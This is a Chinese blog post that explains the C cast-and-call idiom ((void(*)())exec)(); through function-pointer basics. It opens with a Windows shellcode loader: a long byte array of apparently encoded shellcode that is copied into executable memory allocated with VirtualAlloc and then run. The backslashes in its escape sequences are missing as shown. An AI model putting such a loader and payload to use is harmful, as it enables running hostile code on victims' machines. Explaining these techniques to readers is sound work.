((void(*)())exec)();的理解

admin 2021年5月7日00:48:25评论86 views字数 3089阅读10分17秒阅读模式

((void(*)())exec)();的理解

代码

#define _CRT_SECURE_NO_DEPRECATE

#include "Windows.h"

int main(){
unsigned char buf[] =
"x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff"
"xffxffx48xbbxa2xd8x0exfexd3xcdx9cxaex48x31x58"
"x27x48x2dxf8xffxffxffxe2xf4x5ex90x8dx1ax23x25"
"x5cxaexa2xd8x4fxafx92x9dxcexffxf4x90x3fx2cxb6"
"x85x17xfcxc2x90x85xacxcbx85x17xfcx82x90x85x8c"
"x83x85x93x19xe8x92x43xcfx1ax85xadx6ex0exe4x6f"
"x82xd1xe1xbcxefx63x11x03xbfxd2x0cx7ex43xf0x99"
"x5fxb6x58x9fxbcx25xe0xe4x46xffx03x46x1cx26xa2"
"xd8x0exb6x56x0dxe8xc9xeaxd9xdexaex58x85x84xea"
"x29x98x2exb7xd2x1dx7fxf8xeax27xc7xbfx58xf9x14"
"xe6xa3x0ex43xcfx1ax85xadx6ex0ex99xcfx37xdex8c"
"x9dx6fx9ax38x7bx0fx9fxcexd0x8axaax9dx37x2fxa6"
"x15xc4xeax29x98x2axb7xd2x1dxfaxefx29xd4x46xba"
"x58x8dx80xe7xa3x08x4fx75xd7x45xd4xafx72x99x56"
"xbfx8bx93xc5xf4xe3x80x4fxa7x92x97xd4x2dx4exf8"
"x4fxacx2cx2dxc4xefxfbx82x46x75xc1x24xcbx51x5d"
"x27x53xb7x6dxbaxefx9cxfdxebx3cxfexd3x8cxcaxe7"
"x2bx3ex46x7fx3fx6dx9dxaexa2x91x87x1bx9ax71x9e"
"xaexa3x63xcex56x7dxcexddxfaxebx51xeaxb2x5ax3c"
"xddx14xeexafx28xf9x2cx18xd0x27x48xb0x0fxffxd3"
"xcdxc5xefx18xf1x8ex95xd3x32x49xfexf2x95x3fx37"
"x9exfcx5cxe6x5dx18x46x77x11x85x63x6exeax51xcf"
"xbfx69x27x93x71x42x27xdbxb6x5ax0axf6xbexe3x80"
"x42x77x31x85x15x57xe3x62x97x5bxa7xacx63x7bxea"
"x59xcaxbexd1xcdx9cxe7x1axbbx63x9axd3xcdx9cxae"
"xa2x99x5exbfx83x85x15x4cxf5x8fx59xb3xe2x0dxf6"
"xa3xfbx99x5ex1cx2fxabx5bxeax86x8cx0fxffx9bx40"
"xd8x8axbax1ex0ex96x9bx44x7axf8xf2x99x5exbfx83"
"x8cxccxe7x5dx18x4fxaex9ax32x54xe3x2bx19x42x77"
"x12x8cx26xd7x6exe7x88x01x06x85xadx7cxeax27xc4"
"x75xddx8cx26xa6x25xc5x6ex01x06x76x6cx1bx00x8e"
"x4fx44x75x58x21x33x5dx0dx46x7dx17xe5xa0xa8xde"
"xd2x8ex05x33xb8x99x15xe5xcbx7cx91xb9xcdxc5xef"
"x2bx02xf1x2bxd3xcdx9cxae";


void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();

return 0;
}

最终目标,理解((void(*)())exec)();到底是啥?

理解

明确完最终目标后,我们来一步步的学习理解。

我们首先来复习一下,如果变量fp是一个函数指针,那么如何调用fp所指向的函数呢?调用方法如下:

(*fp)();// 标准的调用方法
fp(); // 简写的调用方法,因为ANSI C标准允许程序员将上式简写

因为fp是一个函数指针,那么*fp就是该指针所指向的函数,所以(*fp)()就是调用该函数的方式。

这里用一段代码来理解一下函数指针怎么用:

#define _CRT_SECURE_NO_DEPRECATE
# include <stdio.h>
int Max(int, int); //函数声明
int main(void){
int (*p)(int, int); //定义一个函数指针
int a, b, c,d;
p = Max; //把函数Max赋给指针变量p, 使p指向Max函数
printf("please enter a and b:");
scanf("%d%d", &a, &b);

c = p(a, b); // 通过函数指针调用Max函数
d = (*p)(a, b); // 这样调用也行

printf("a = %dnb = %dnmax = %d,%dn", a, b, c,d);
return 0;
}
int Max(int x, int y) //定义Max函数{
int z;
if (x > y)
{
z = x;
}
else
{
z = y;
}
return z;
}

输出结果是:

please enter a and b:3 4
a = 3
b = 4
max = 4,4

看了这段代码,我想你已经大概知道函数指针要怎么用了。如果你还不清楚,请去http://c.biancheng.net/view/228.html再学习一下。

好的,那我们接着往下走。

上面那段代码中,int (*p)(int, int);,我们定义p是一个指向返回值为int类型的且有两个int类型参数的函数的指针,可能有点绕口,慢慢理解一下就行。

现在我们搞简单点,如果 fp是一个指向返回值为void类型的函数的指针 ,那么(*fp)()的值应为voidfp的声明如下:

void (*fp)();

当我们知道如何声明一个给定类型的变量,那么该类型的类型转换符就很容易得到了:把声明中的变量名和声明结尾的分号去掉,再将剩余的部分用括号括起来就行。那么上面的fp的声明void (*fp)();的类型转换符就可以得出来了,如下:

(void (*)())

表示一个指向返回值为void类型的函数的指针

到此为止,我们理解那段最终目标的代码所需要的前置知识已经全部复习完毕。

因此((void(*)())exec)();就可以拆开理解了

(     (void(*)())exec    )();
// 先看中间部分,将exec进行强制类型转化成:指向返回值为void类型的函数的指针
// 此时 exec 已经是一个函数指针了,现在回忆一下,刚刚我们是怎么调用 函数指针所指向的函数的呢?
// 没错,就是(*exec)(); 或者直接使用简写 exec();

参考

下面将从《C缺陷与陷阱》中摘取部分内容来方便理解

((void(*)())exec)();的理解((void(*)())exec)();的理解((void(*)())exec)();的理解((void(*)())exec)();的理解((void(*)())exec)();的理解


本文始发于微信公众号(江南小虫虫):((void(*)())exec)();的理解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月7日00:48:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ((void(*)())exec)();的理解https://cn-sec.com/archives/271568.html

发表评论

匿名网友 填写信息